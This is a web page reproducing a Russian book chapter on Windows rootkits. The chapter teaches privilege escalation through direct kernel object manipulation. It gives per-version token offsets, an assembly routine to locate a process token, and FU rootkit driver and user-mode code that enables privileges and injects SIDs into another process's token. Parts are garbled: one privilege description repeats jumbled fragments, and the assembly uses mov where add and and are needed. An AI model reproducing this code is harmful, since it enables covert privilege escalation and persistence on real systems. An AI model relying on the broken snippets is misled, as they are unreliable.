Есть вопрос?
Зайди на форум

Поиск:

Denix: русификация Ubuntu и кодеки :: RSS:: Скачать книги Колисниченко в PDF

Англо-русский словарь компьютерных терминов (Д. Колисниченко)

A  B  C  D  E  F  G  H  I  K  L  M  N  O  P  Q  R  S  T  V  W  X  Y  Z 

укрпочта отслеживание посылок перевод денег график отключения света в Кировограде график отключения счета в Киеве график отключения света в Одессе (zip)

Книга Д. Колисниченко Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.

20.7. Получение дополнительных полномочий

Что такое полномочия знают все. Полномочия определяют, что можно делать нашему процессу, а что - нельзя. Чем они выше,  тем больше у процесса возможностей.

20.7.1. Токен полномочий. Поиск токена

В Windows у каждого процесса есть свой токен полномочий. Также свой собственный токен может быть у каждой нити (потока) процесса, но обычно все нити используют токен процесса. В этом пункте мы поговорим только об изменении токена процесса, а не его нитей. Впрочем, если нужно, то переделать пример кода для работы с потоками не сложно.

Примечание. Токены еще иногда называют маркерами доступа (access tokens), поэтому если встретите где-то термин "маркер доступа" не смущайтесь - это одно и то же.

Для модификации токена процесса API Widows предоставляет следующие функции:

Все эти функции требуют, чтобы у вызывающего их процесса были установлены полномочия TOKEN_ADJUST_PRIVILEGES и  TOKEN_ADJUST_GROUPS. Но поскольку мы используем DKOM, эти полномочия нам попросту не нужны. Мы можем модифицировать полномочия процесса и без использования API-функций - напрямую.

Суть заключается в следующем: с помощью функции GetEPROCESS мы должны получить адрес структуры EPROCESS процесса, полномочия которого мы хотим изменить. После этого все, что нам остается сделать - это найти токен полномочий в этой структуре и изменить его. Ясно, что смещение токена, как обычно, зависит от версии операционной системы. Следующая таблица поможет вам определить его:

Таблица 20.2. Смещение токена привилегий

Операционная система

Смещение токена

Windows NT

0x108

Windows 2000

0x12C

Windows XP (в т.ч. XP SP2)

0xC8

Windows 2003

0xC8

В структуре EPROCESS токен представлен следующей структурой:

typedef struct _EX_FAST_REF {

 union { PVOID Object;

         ULONG RefCnt : 3;

         ULONG Value;

 };

} EX_FAST_REF, *PEX_FAST_REF;

Для поиска токена полномочий мы будем использовать следующую функцию:

DWORD GetPrivToken (DWORD eprocess)

{

  DWORD token;

  __asm {

      mov eax, eprocess;

      mov eax, OFFSET;        // смещение токена, зависит от версии ОС

      mov eax, [eax];

      mov eax, 0xfffffff8;   // пропускаем последние 3 бита адреса токена

                             // последние 3 бита адреса токена всегда = 0

      mov token, eax;

}

return token;

}

20.7.2. Изменение токена полномочий

Итак, у нас уже есть токен полномочий. Осталось только его изменить. Но это довольно непростая задача - проще его найти, чем изменить.

Токен имеет очень сложную структуру, состоящую из частей постоянного и переменного размера. Наименее предсказуема, конечно же, переменная часть. Она состоит из полномочий процесса и SID-ов (Security ID). Ясно, что заранее вы не можете предугадать, какими полномочиями будет обладать тот или иной процесс.

Примечание. SID - это идентификатор учетной записи, уникальный номер, однозначно определяющий пользователя или рабочую группу в домене NT.

Кроме самого токена вам нужно найти дополнительную информацию, необходимую для изменения токена. Например, когда вы добавляете полномочие или SID группы в токен, вам нужно увеличить определенное значение в статической части токена - счетчик полномочий или SID'ов. Также в статической части находятся адрес переменной части и ее длина. В таблице 20.3. перечислена вся необходимая для модификации токена информация:

Таблица 20.3. Информация, необходимая для изменения токена (находится в статической части токена)

ОС

AUTH_ID

Счетчик SID

Адрес SID

Счетчик полномочий

Адрес полномочий

NT 4.0

0x18

0x30

0x48

0x34

0x50

Win 2000

0x18

0x3С

0x58

0x44

0x64

Win XP SP1

0x18

0x40

0x5C

0x48

0x68

Win XP SP2

0x18

0x4C

0x68

0x54

0x74

Win 2003

0x18

0x4c

0x68

0x54

0x74

Знакомство с полномочиями

Для изменения полномочий процесса (добавления в токен нового полномочия или же активизирования временно отключенного полномочия) мы будем использовать приложение пользовательского уровня. При запуске приложения вы указываете PID процесса, полномочия которого нужно изменить и сами полномочия. Приложение с помощью IOCTL передает информацию нашему руткиту, которые и проделает всю необходимую работу.

Прежде чем приступить к изменениям полномочий, мы должны знать, какие полномочия есть и для чего они используются. Без этого никак - а то научимся устанавливать привилегии, а что установить знать не будем. В следующей таблице описаны некоторые привилегии (помните, что не все привилегии можно установить для того или иного процесса):

Таблица 20.4. Основные полномочия

Полномочие

Описание

SeTcbPrivilege

Позволяет процессу получать доступ к ресурсам любого другого процесса. Как правило, это полномочие используют низкоуровневые службы аутентификации

SeMachineAccountPrivilege

Позволяет пользователю добавить рабочую станцию (компьютер) в определенный домен

SeIncreaseQuotaPrivilege

Позволяет установить квоты памяти для определенного процесса. Обычно используется для тонкой настройки системы. В умелых руках также может использоваться для запуска атаки класса DoS (Denial of Service, отказ в обслуживании)

SeBackupPrivilege

Разрешает пользователю производить резервное копирование системы. Данное полномочие используется только, если процесс использует API-функции, предназначенные для резервного копирования

SeRestorePrivilege

Полномочие, позволяющее восстанавливать файлы и каталоги из резервной копии.

SeChangeNotifyPrivilege

Позволяет пользователю "проходить" через каталоги, к которым он не имеет доступа. Данное полномочие не позволяет вывести оглавление каталога. Предположим, что у пользователя есть доступ только к каталогу C:\Reports\Company\Denis, но у пользователя нет доступа ни к каталогу Reports, ни Company. Если это полномочие установлено, пользователь сможет работать с каталогом Denis. Если же не установлено, то пользователь не сможет получить доступ к этому каталогу, поскольку у него нет доступа к каталогам Reports и Company

SeSystemTimePrivilege

Позволяет пользователю изменять системное время. Данное полномочие не требуется для изменения временной зоны или отображения системного времени

SeCreateTokenPrivilege

Позволяет процессу создавать маркер (токен) доступа с помощью NtCreateToken() или другой API-функции

SeCreatePermanentPrivilege

Позволяет создавать постоянный объект в диспетчере объектов. Полномочие очень полезно для компонентов ядра, которым нужно расширить собственное пространство имен.

SeCreatePagefilePrivilege

Позволяет создавать файл подкачки, а также изменять его размер.

SeDebugPrivilege

Позволяет подключаться к любому процессу, что необходимо для его отладки

SeEnableDelegationPrivilege

Позволяет пользователю изменять настройки делегирования для ActiveDirectory

SeRemoteShutdownPrivilege

Позволяет пользователю удаленно (по сети, с другой машины) завершать работу системы

SeShutdownPrivilege

Позволяет пользователю завершать работу системы

SeAuditPrivilege

Разрешает доступ к журналу безопасности, в том числе создание новых записей в журнале

SeIncreaseBasePriorityPrivilege

Разрешает пользователю изменять приоритет процесса

SeLoadDriverPrivilege

Позволяет пользователю загружать и выгружать драйверы PnP-устройств

SeLockMemoryPrivilege

Разрешает процессу хранить данные в физической памяти, что предотвращает выгрузку этих данных в файл подкачки на жестком диске. Использование этой привилегии может отрицательно отразиться на производительности системы

SeSecurityPrivilege

Позволяет пользователю указывать опции доступа для отдельных ресурсов - файлам, объектам ActiveDirectory, а также ключам реестра

SeSystemEnvironmentPrivilege

Разрешает модификацию системных переменных окружения с помощью API (программно) или с помощью окна Свойств системы (вручную)решает модификацию системных переменных окружения с помощью сурсов - файлам, объектам временинего нет доступа к каталогам рые

SeManageVolumePrivilege

Позволяет не-администраторам или удаленным пользователям управлять томами (логическими дисками).

SeProfileSingleProcessPrivilege

Позволяет оценивать производительность процесса

SeSystemProfilePrivilege

Позволяет оценивать производительность системы

SeUndockPrivilege

Разрешает отключение компьютера от док-станции (с помощью команды меню Пуск, Отключить ПК (Start, Eject PC). Актуально для пользователей портативных компьютеров, подключающихся к док-станции

SeAssignPrimaryTokenPrivilege

Позволяет родительскому процессу изменять токен полномочий дочернего процесса

SeSyncAgentPrivilege

Разрешает синхронизацию данных службы каталогов. Требуется для использования LDAP (Lightweight Directory Access Protocol)

SeTakeOwnershipPrivilege

Разрешает изменения владельца файлов или других объектов

Просмотреть полномочия процесса можно с помощью программы Process Explorer (http://www.sysinternals.com/Files/ProcessExplorerNt.zip). Для этого выберите интересующий вас процесс, щелкнув по нему правой кнопкой мыши.

Рис. 20.6. Process Explorer в действии

Из появившегося меню выберите команду Properties. В появившемся окне перейдите на вкладку Security (рис. 20.7).

Рис. 20.7. Привилегии процесса SERVICES.EXE

В этом окне вы можете просмотреть, какие полномочия процесса установлены (Enabled), а какие - нет (Disabled). Как вы видите большинство привилегий отключено.

Поскольку мы модифицируем непосредственно байты памяти, нам нужно быть очень осторожными, поскольку мы точно не знаем, какой регион памяти будет следовать за токеном процесса. Если это важные системные данные, система может разрушиться. Лучше всего изменять полномочия процесса, не изменяя размера токена. Для этого нам нужно не добавлять в токен новые полномочия, а активизировать выключенные полномочия. В этом случае размер токена не изменяет - мы просто изменяем значения определенных байтов памяти.

Исследование руткита FU. Установка полномочий

Сейчас мы начнем исследовать популярный нынче руткит FU. Исходный код руткита я рекомендую скачать с сайта www.rootkit.com (http://www.rootkit.com/vault/fuzen_op/FU_Rootkit.zip). FU состоит из двух частей:

Пользовательская часть предназначена для управления драйвером устройства. Пока руткит FU умеет только скрывать процессы и изменять их полномочия. Например, для изменения полномочия процесса с PID 113 используется команда:

fu -prs 113 <список_полномочий (через пробел)>

Рис. 20.8. Справка по руткиту fu

В архиве с руткитом поставляется его полный исходный код. Если проанализировать файл fu.cpp, то для установки привилегий используется функция SetPriv:

status = SetPriv(pid, priv_array, size*32);

 if (status == 0)

      {

            PrintError("Setting process privilege failed. ", GetLastError());

      }

Первый параметр - это PID процесса, полномочия которого нужно установить. Второй параметр - это массив привилегий:

      char *priv_array = NULL;

// считаем, что размер каждого элемента массива - 32 байта. Может это и

// много, но мы вед не знаем, какие именно привилегии нужно будет установить,

// а 32 байта будет как раз достаточно

      priv_array = (char *)calloc(argc-3, 32);

Третий параметр - это размер массива полномочий.

Заполняется массив полномочий так:Пользовательская предназначена для управления драйвером устройства, а именно для:

 байтов памяти. нои будет следовать за токеном

...

int size = 0;                // размер

for(int i = 3; i < argc; i++)

{

  if(strncmp(argv[i], "Se", 2) == 0)

   {

      strncpy((char *)priv_array + ((i-3)*32), argv[i], 31);

size++;

     }

}

status = SetPriv(pid, priv_array, size*32);

Копирование строк в массив начинаем с третьего параметра командной строки (нулевой параметр - это полный путь к программе, первый - действие (-prs), второй - PID процесса, а третий - как раз начало списка полномочий). Каждое полномочие начинается символами "Se". После заполнения массива полномочий вызывается функция SetPriv.

Функция SetPriv выделяет память для массива структур LUID_AND_ATTRIBUTES и инициализирует его.

typedef struct _LUID_AND_ATTRIBUTES {

      LUID luid;

      DWORD Attributes;

} LUID_AND_ATTRIBUTES, *PLUID_AND_ATTRIBUTES;

 

LUID (Locally Unique Identifier) - это идентификатор полномочия, у каждого полномочия свой LUID. В справочной системе Microsoft SDK сказано: LUID - это 64-битное значение, которое будет уникальным только в пределах той системы, в которой оно было сгенерировано.  Но самое интересное, в том, что LUID может изменяться после перезагрузки системы.

Для вычисления LUID используется функция LookupPrivilegeValue(), которой нужно передать три параметра:

В массиве LUID_AND_ATTRIBUTES, как ясно из его названия, будут не только LUID'ы, но и атрибуты полномочия. Атрибуты полномочия следующие:

#define SE_PRIVILEGE_DISABLED                  0x00000000L

#define SE_PRIVILEGE_ENABLED_BY_DEFAULT        0x00000001L

#define SE_PRIVILEGE_ENABLED                   0x00000002L

Массив структур LUID_AND_ATTRIBUTES нужен для передачи драйверу. Заполняется он достаточно просто: член LUID - это возвращаемое функцией LookupPrivilegeValue значение, а член Attributes - это атрибут полномочия.

После того, как массив полномочий будет заполнен, пользовательская программа с помощью DeviceIoControl вызывает драйвер руткита (для установки привилегий используется IOCTL IOCTL_ROOTKIT_SETPRIV).

DWORD SetPriv(DWORD pid, void *priv_luids, int priv_size)

{

// pid - PID процесса, полномочия которого нужно изменить

// priv_luids - массив полномочий, указанных пользователем

// priv_size - размер полномочий

 

      DWORD d_bytesRead;

      DWORD success;

     

// массив полномочий и их атрибутов

      PLUID_AND_ATTRIBUTES pluid_array;

      LUID pluid;

      VARS dvars;

 

      if (!Initialized)

      {

// Устройство (драйвер) не готово

            return ERROR_NOT_READY;

      }

 

      // неправильный адрес массива

      if (priv_luids == NULL) return ERROR_INVALID_ADDRESS;

 

      pluid_array = (PLUID_AND_ATTRIBUTES) calloc(priv_size/32,

sizeof(LUID_AND_ATTRIBUTES));

 

      // недостаточно памяти

      if (pluid_array == NULL) return ERROR_NOT_ENOUGH_MEMORY;

 

      DWORD real_luid = 0;

      for (int i = 0; i < priv_size/32; i++)

      {

        if(LookupPrivilegeValue(NULL, (char *)priv_luids + (i*32), &pluid))

         { 

            memcpy(pluid_array+i, &pluid, sizeof(LUID));

            (*(pluid_array+i)).Attributes = SE_PRIVILEGE_ENABLED_BY_DEFAULT;

            real_luid++;

            }

      }

     

// Заполняем структуру для передачи драйверу

      dvars.the_pid = pid;         // PID процесса  

      dvars.pluida = pluid_array;  // полномочия

      dvars.num_luids = real_luid; // значения LUID

 

      // вызываем драйвер устройства

      success = DeviceIoControl(gh_Device,

                             IOCTL_ROOTKIT_SETPRIV,

                             (void *) &dvars,

                             sizeof(dvars),

                             NULL,

                             0,

                             &d_bytesRead,

                             NULL);

 

   // освобождаем память

   if(pluid_array) free(pluid_array);

 

      return success;  

}

Пользовательская программа с помощью функции SetPriv передает драйверу устройства PID процесса и необходимые полномочия (переменная dvars).

Драйвер должен содержать обработчик для IOCTL_ROOTKIT_SETPRIV. Этот обработчик получает переданную драйверу информацию и по PID находит структуру EPROCESS процесса, полномочия которого нужно изменить. После этого в EPROCESS обработчик находит адрес токена полномочий.

Нужно отметить, что для получения адреса EPROCESS мы использовали функцию GetEPROCESS, а руткит FU использует аналогичную функцию FindProcessEPROC. Для поиска токена мы использовали функцию GetPrivToken, а руткит FU использует FindProcessToken. В любом случае, вам доступен код всех этих четырех функций и в своих проектах вы можете использовать наиболее понравившиеся вам.

Итак, когда у нас есть адрес токена, можно приступить к его модификации. Но прежде нам нужно узнать размер массива LUID_AND_ATTRIBUTES, содержащегося в токене (именно того, что в токене, а не того массива, который мы передали драйверу). Для этого мы должны прочитать значения, содержащееся по смещению 0x48 в XP SP1 (это счетчик привилегий, см. таб. 20.3) или по другому адресу - в зависимости от версии Windows. Это значение очень важно для нас.

После этого нам нужен адрес самого массива LUID_AND_ATTRIBUTES (того, что в токене). Напомню вам, что токен состоит из двух частей: части с постоянным размером и части с переменным размером. Переменная часть начинается сразу же за постоянной частью. Начало массива LUID_AND_ATTRIBUTES - это и есть начало переменной части.

Когда у нас есть адрес массива полномочий и значение счетчика полномочий, мы можем "двигаться" дальше. Напомню, что мы не можем добавлять новые полномочия, поскольку можем изменить память, которая находится непосредственно после нашего токена. А она может содержать важную для системы информацию, поэтому мы рискуем разрешить систему. Чтобы этого не случилось, мы не будем изменять размер токена, а просто попробуем установить атрибуты привилегий. Если нужная нам привилегия выключена, мы ее включим. Наверное, вы подумали, что если в массиве LUID_AND_ATTRIBUTES не будет нужного нам полномочия, включить мы его не сможем?  А вот и нет. Смотрите: у процесса есть очень много выключенных полномочий - он отлично работает и без них - ведь они выключены. Мы можем перезаписать одно из выключенных полномочий нужным нам полномочием, а потом изменить его атрибут на SE_ENABLED_BY_DEFAULT (включено по умолчанию). Для этого в рутките FU есть два цикла. Первый цикл "пробегается" по массиву LUID_AND_ATTRIBUTES - он должен проверить, если ли нужные нам привилегии в массиве. Если они есть, то он их включает. Второй цикл используется как раз для привилегий, которых нет в массиве LUID_AND_ATTRIBUTES токена. Используя данную технику, мы можем добавлять новые привилегии, не изменяя размера токена:

// если новая привилегия есть в токене, мы просто изменяет ее атрибуты

for (luid_attr_count = 0; luid_attr_count < i_PrivCount; luid_attr_count++)

{

  for (i_LuidsUsed = 0; i_LuidsUsed < nluids; i_LuidsUsed++)

   {

     if((luids_attr[i_LuidsUsed].Attributes != 0xffffffff) &&

          (memcmp(&luids_attr_orig[luid_attr_count].Luid,               

                   &luids_attr[i_LuidsUsed].Luid, sizeof(LUID)) == 0))

      {

       luids_attr_orig[luid_attr_count].Attributes =

luids_attr[i_LuidsUsed].Attributes;

      luids_attr[i_LuidsUsed].Attributes = 0xffffffff;

      }

    }

}

 

// мы не нашли в токене полномочий, которые хотим установить

// попробуем изменить существующий набор полномочий. Мы перезапишем

// отключенные полномочия нужными нам полномочиями и изменим их атрибуты

for (i_LuidsUsed = 0; i_LuidsUsed < nluids; i_LuidsUsed++)

{

 if (luids_attr[i_LuidsUsed].Attributes != 0xffffffff)

  {

  for (luid_attr_count = 0; luid_attr_count < i_PrivCount; luid_attr_count++)

  {

   // Мы не можем добавить все нужные нам полномочия - в токене может не

   // хватить места. Предположим, что у нас есть 5 полномочий, которых нет

   // в токене, но которые нам нужно добавить. Но в тоже время в токене есть

   // только 3 отключенных полномочия. Следовательно, мы можем добавить

   // 3 полномочия из 5

   if((luids_attr[i_LuidsUsed].Attributes != 0xffffffff) &&  

     (luids_attr_orig[luid_attr_count].Attributes == 0x00000000))

   {

    luids_attr_orig[luid_attr_count].Luid = luids_attr[i_LuidsUsed].Luid;

    luids_attr_orig[luid_attr_count].Attributes =

            luids_attr[i_LuidsUsed].Attributes;

    luids_attr[i_LuidsUsed].Attributes          = 0xffffffff;

      } // if

    } // for

   } //if

} // for

 

20.7.3. Добавление SID в токен

Процесс добавления SID в токен более сложен, чем процесс изменения полномочий. Ведь кроме самого SID нам нужно внести много изменений в токен - взять хотя бы таблицу SID_AND_ATTRIBUTES - она подобна таблице LUID_AND_ATTRIBUTES:

typedef struct _SID_AND_ATTRIBUTES {

  PSID Sid;

  DWORD Attributes;

} SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES;

Чтобы добавить SID в токен мы должны добавить более одной записи в таблицу SID_AND_ATTRIBUTES, а также изменить все указатели в таблице, чтобы привести ее в соответствие к произведенным нами изменениям в памяти. 

Чтобы не ошибиться, лучше всего выделить память определенного размера - чтобы хватило записать в нее переменную часть токена. Пока даже можно выделить память в выгружаемой области. Когда формирование новой переменной части токена будет завершено, вы просто перезапишите существующую переменную часть домена новой частью. Нам также понадобятся:

Следующий код инициализирует вышеуказанные переменные и выделяет необходимое для новой переменной части токена место в памяти:

// token - адрес токена

// PRIVCOUNTOFFSET - смещение счетчика полномочий (см. табл. 20.3)

// SIDCOUNTOFFSET - смещение счетчика SID

PrivCount = *(int *)(token + PRIVCOUNTOFFSET); // счетчик полномочий

SIDcount = *(int *)(token + SIDCOUNTOFFSET);   // счетчик SID

 

// Вычисляем адрес таблицы LUID и атрибутов полномочий.

// Этот же адрес является началом переменной части токена (перем. vpart)

// PRIVADDROFFSET - это смещение адреса таблицы полномочий:

// (0x50 - NT4, 0x64 - W2K, 0x68 - XP1, 0x74 - XP2, 0x74 - 2003

luids_and_attr = *(PLUID_AND_ATTRIBUTES *)(token + PRIVADDROFFSET);

vpart = (PVOID) luids_and_attr;

 

// Вычисляем длину переменной части

// PRIVCOUNTOFFSET - это смещение счетчика полномочий (см. табл. 20.3)

vpart_len = *(int *)(token + PRIVCOUNTOFFSET + 4);

 

// Адрес таблицы SID

old_sid_ptr = *(PSID_AND_ATTRIBUTES *)(token + SIDADDROFFSET);

 

// Выделяем память для временного рабочего пространства

var_part = ExAllocatePool(PagedPool, vpart_len);

if (var_part == NULL)

{

 IoStatus->Status = STATUS_INSUFFICIENT_RESOURCES;

 break;

}

RtlZeroMemory(var_part, vpart_len);

Затем в целях экономии памяти, отведенной под токен, мы копируем во временную область только активные полномочия. Ведь нам еще нужно будет записать новый SID, и произвести изменения в таблице SID_AND_ATTRIBUTES, от чего последняя может вырасти в размере.

Конечно, вероятность того, что нам не хватит места для записи SID и SID-таблицы все-таки есть. Если это все же произошло, у вас есть несколько вариантов. Первый - просто вернуть пользовательскому процессу (имеется в виду пользовательская часть руткита) ошибку, ссылаясь на то, что недостаточно ресурсов для размещения нового SID. Это самый простой способ, который мы и будем использовать, но о других способах скажать все же стоит.

Второй способ заключается в освобождении места в токене под новый SID. Место можно освободить за счет перезаписи SID'ом некоторых активных полномочий. Здесь нужно быть осторожными - нужно знать, что можно перезаписывать, а что - нельзя. Если вы перезапишите необходимое процессу полномочие, то процесс не будет работать правильно (если вообще он будет работать - вероятнее всего, процесс аварийно завершит свою работу).

Есть еще и третий способ. Его реализацию мы рассматривать не будем, но общий принцип вы должны знать. Начиная с Windows 2000, в токене есть не только отключенные полномочия, но и запрещенные SID. За их счет можно увеличить место в токене. Используются запрещенные SID редко, поэтому особых последствий для системы быть не должно.

Теперь приступим к практической реализации первого способа. Я еще раз повторюсь, что второй и третий мы рассматривать не будем - это будет вашим домашним заданием.

// Копируем только активные полномочия. Выключенные полномочия будут

// перезаписаны

for (luid_count = 0; luid_count < PrivCount; luid_count++)

{

 if(((PLUID_AND_ATTRIBUTES)vpart)[luid_count].Attributes !=

                                            SE_PRIVILEGE_DISABLED)

{

   ((PLUID_AND_ATTRIBUTES)var_part)[i_LuidsUsed].Luid =

                           ((PLUID_AND_ATTRIBUTES)vpart)[luid_count].Luid;

 

   ((PLUID_AND_ATTRIBUTES)var_part)[i_LuidsUsed].Attributes =  

                      ((PLUID_AND_ATTRIBUTES)vpart)[luid_count].Attributes;

 

  LuidsUsed++;          // счетчик записанных полномочий

 }               

}

 

// Вычисляем место, необходимое в токене

// размер SID-таблицы. Вычисляется в пользовательской части руткита и

// передается руткиту с помощью IOCTL. Вычислить размер SID можно так:

// LookupAccountName(NULL, sname, my_SID, &d_SIDSize, lp_domName,

//                  &d_domSize, sid_use);

// наглядный пример вы найдете в файле fu.cpp руткита FU

 

spaceNeeded = SidSize + sizeof(SID_AND_ATTRIBUTES);

 

spaceSaved  = (PrivCount - LuidsUsed) * sizeof(LUID_AND_ATTRIBUTES);

spaceUsed   = LuidsUsed * sizeof(LUID_AND_ATTRIBUTES);

 

if (i_spaceSaved  < i_spaceNeeded)

{

ExFreePool(varpart);

// Недостаточно места для записи SID

IoStatus->Status = STATUS_INSUFFICIENT_RESOURCES;

break;

}

 

// Копируем всю существующую в токене структуру SID_AND_ATTRIBUTES во

// временную область

RtlCopyMemory(

   (PVOID)((DWORD)var_part+spaceUsed),

   (PVOID)((DWORD)vpart + (PrivCount * sizeof(LUID_AND_ATTRIBUTES))),

   SidCount * sizeof(SID_AND_ATTRIBUTES)

);

 

for (int sid_count = 0; sid_count < SidCount; sid_count++)

{

 

((PSID_AND_ATTRIBUTES)((DWORD)var_part+(spaceUsed)))[sid_count].Attributes =

      old_sid_ptr[sid_count].Attributes;

 

 

((PSID_AND_ATTRIBUTES)((DWORD)var_part+(spaceUsed)))[sid_count].Sid =   

       (PSID)(((DWORD) old_sid_ptr[sid_count].Sid) -

       ((DWORD) spaceSaved) + ((DWORD)sizeof(SID_AND_ATTRIBUTES)));

                   

}

 

После этого нам нужно правильно установить атрибуты нового SID. Лучше всего установить значение 0x00000007, что сделает новый SID принудительным. Поскольку новый SID мы добавляли в конец всего списка SID, мы должны вычислить размер получившегося списка SID:

// Устанавливаем атрибуты нового SID

SizeOfLastSid = (DWORD)vpart + VariableLen;

SizeOfLastSid = SizeOfLastSid - (DWORD)((PSID_AND_ATTRIBUTES)old_sid_ptr)[SidCount-1].Sid;

 

((PSID_AND_ATTRIBUTES)((DWORD)var_part+(spaceUsed)))[SidCount].Sid = (PSID)((DWORD)((PSID_AND_ATTRIBUTES)((DWORD)varpart+(spaceUsed)))[SidCount-1].Sid + SizeOfLastSid);

 

((PSID_AND_ATTRIBUTES)((DWORD)var_part+(spaceUsed)))[SidCount].Attributes = 0x00000007;

Все, что нам осталось - это скопировать нашу рабочую область в существующий токен - на место переменной части токена:

SizeOfOldSids = (DWORD)vpart + vpart_len;

 

SizeOfOldSids = SizeOfOldSids - (DWORD)((PSID_AND_ATTRIBUTES)old_sid_ptr)[0].Sid;

 

RtlCopyMemory(

(VOID UNALIGNED *)((DWORD)var_part +

     (spaceUsed)+((SidCount+1)*sizeof(SID_AND_ATTRIBUTES))),

(CONST VOID UNALIGNED *)((DWORD)vpart +

    (PrivCount*sizeof(LUID_AND_ATTRIBUTES))+

     (SidCount*sizeof(SID_AND_ATTRIBUTES))),

SizeOfOldSids

);

 

// Перезаписываем переменную часть (vpart) токена рабочей областью (var_part)

RtlZeroMemory(vpart, vpart_len);

RtlCopyMemory(vpart, var_part, vpart_len);

 

// Копируем новый SID в самый конец списка SID

RtlCopyMemory(

((PSID_AND_ATTRIBUTES)((DWORD)vpart+(spaceUsed)))[SidCount].Sid,

psid, SidSize

);

 

После этого нам нужно исправить счетчики и указатели статической части токена:

 

*(int *)(token + SIDCOUNTOFFSET) += 1;

*(int *)(token + PRIVCOUNTOFFSET) = LuidsUsed;

*(PSID_AND_ATTRIBUTES *)(token + SIDADDROFFSET) =

    (PSID_AND_ATTRIBUTES)((DWORD) vpart + (spaceUsed));

           

ExFreePool(var_part);

В этой главе мы рассмотрели, как с помощью DKOM можно скрывать процессы и изменять их полномочия. Но это не предел для DKOM. С помощью этой техники можно сделать гораздо больше - скрывать сетевые порты и соединения, обманывать средства протоколирования системы и многое другое. Все это остается вам на самостоятельное изучение.

При модификации системных объектов вы должны разобраться, для чего используется тот или иной объект. Если в документации о нем ничего не сказано, то вам в этом помогут отладчики уровня ядра WinDbg, SoftIce, IDA Pro.

На главную

Мне нравится!

Сегодня: 19/01

Поздравлять сегодня некого

Последние посты форума

Интересная картинка

Samsung Galaxy J2 Prime (SM-G532F)

дааа

Обучение PHP-программированию

Новый дизайн сайта

Возвращение на динамическую страницу сайта

С Новым Годом!

Бесплатный хостинг, SSL сертификат, не ограниченно

капец погода в ноябре у нас

Посоветуйте хостинг

флэшмобы

вот люди где живут... экстрим

авто-дилеры

Программы для Linux

книга Командная строка Linux и автоматизация рутинных задач

Совет:

Книги Д. Колисниченко:

Linux

Ubuntu 10. Библия пользователяUbuntu 10. Библия пользователя
Книга Ubuntu 10. Библия пользователя представляет собой полное руководство по установке, настройке и использованию Linux-дистрибутива Ubuntu 10. Отличная книга, твердый переплет                                                                                                                            

Программирование для Android 5. СамоучительПрограммирование для Android 5. Самоучитель
Рассмотрены все основные аспекты создания приложений для платформы Android 5 (API 21): установка необходимого программного обеспечения (JDK, Eclipse и Android SDK), использование эмулятора Android, создание интерфейса пользователя и т.д.                                                                

Самоучитель Linux: установка, настройка, использование изд. 5Самоучитель Linux: установка, настройка, использование изд. 5
В книге рассматриваются дистрибутивы Mandriva и Fedora Core. Книга предназначена для всех, кто хочет эффективно использовать у себя на компьютере эту ОС                                                                                                                                                     

PHP

PHP 5/6 и MySQL 6. Разработка Web-приложенийPHP 5/6 и MySQL 6. Разработка Web-приложений
На практических примерах описана разработка Web-приложений на языке PHP версий 5 и 6. Лучшая моя книга по PHP, ищите в продаже 3-е издание! Издательство БХВ- Петербург                                                                                                                                      

PHP 5/6 и MySQL 6. Разработка Web-приложений. 3-е издPHP 5/6 и MySQL 6. Разработка Web-приложений. 3-е изд
Даны начала программирования на PHP: установка и настройка PHP и MySQL, выбор редактора PHP-кода, основы синтаксиса и самые полезные функции PHP.                                                                                                                                                            

Самоучитель PHP 4/5Самоучитель PHP 4/5
Моя первая книга по PHP, на базе которой была написана книга Самоучитель PHP5 (НиТ). Давно распродана и не поддерживается                                                                                                                                                                                    

Интернет/CMS

Движок для вашего сайта. CMS Joomla!, Slaed, PHP-NukeДвижок для вашего сайта. CMS Joomla!, Slaed, PHP-Nuke
Книга ориентирована как на обычных пользователей Интернета, которым нужно в кратчайшие сроки создать свой сайт, так и на разработчиков, которые заинтересованы в построении собственной системы управления сайтом.                                                                                           

Новейший самоучитель компьютера и ИнтернетНовейший самоучитель компьютера и Интернет
О такой книге долгие годы мечтали миллионы начинающих пользователей, которые осваивали технику самостоятельно или по непонятным, громоздким руководствам.                                                                                                                                                    

Выбираем лучший бесплатный движок для сайта. CMS Joomla! и Drupal Выбираем лучший бесплатный движок для сайта. CMS Joomla! и Drupal
Книга ориентирована как на обычных пользователей Интернета, которым нужно в кратчайшие сроки создать свой сайт, так и на разработчиков, которые заинтересованы в построении собственной CMS                                                                                                                  

Компьютер/Windows

Новейший самоучитель компьютера и ИнтернетНовейший самоучитель компьютера и Интернет
О такой книге долгие годы мечтали миллионы начинающих пользователей, которые осваивали технику самостоятельно или по непонятным, громоздким руководствам.                                                                                                                                                    

Англо-русский словарь компьютерных терминов, изд. 1-3Англо-русский словарь компьютерных терминов, изд. 1-3
Словарь-справочник включает в себя все основные термины, встречающиеся при работе с компьютером, программами и компьютерной документацией.                                                                                                                                                                   

Microsoft Windows 8 для пользователейMicrosoft Windows 8 для пользователей
Описаны нововведения Windows 8, особое внимание уделено использованию системы на планшете. Рассмотрена установка системы как на физический компьютер (стационарный, ноутбук, нетбук, планшет)                                                                                                                

Сети

Беспроводная сеть дома и в офисеБеспроводная сеть дома и в офисе
Книга поможет начинающему администратору домашней или офисной сети в кратчайшие сроки развернуть, настроить или модернизировать беспроводную сеть. Отличный выбор для построения сети SOHO                                                                                                                   

Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.
Книга о настройке сети в Windows (98,NT,XP) и Linux. Является превосходным практическим руководством по созданию и обслуживанию компьютерных сетей.                                                                                                                                                          

Самоучитель системного администратора. 4-е изд.Самоучитель системного администратора. 4-е изд.
Изложены основные задачи системного администрирования, описаны базовые протоколы, даны рекомендации по выбору оборудования и проведению ежедневных рутинных операций. Подробно раскрыты технологии, используемые при построении информационных систем, опи                                                   

Безопасность

Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.
-                                                                                                                                                                                                                                                                                                            

Анонимность и безопасность в Интернете. От Анонимность и безопасность в Интернете. От "чайника" к пользователю
Простым и понятным языком рассказано, как скрыть свое местонахождение и IP-адрес, используя анонимные сети Tor и I2P, посетить заблокированные администратором сайты, защитить личную переписку от посторонних глаз                                                                                          

Автомобили

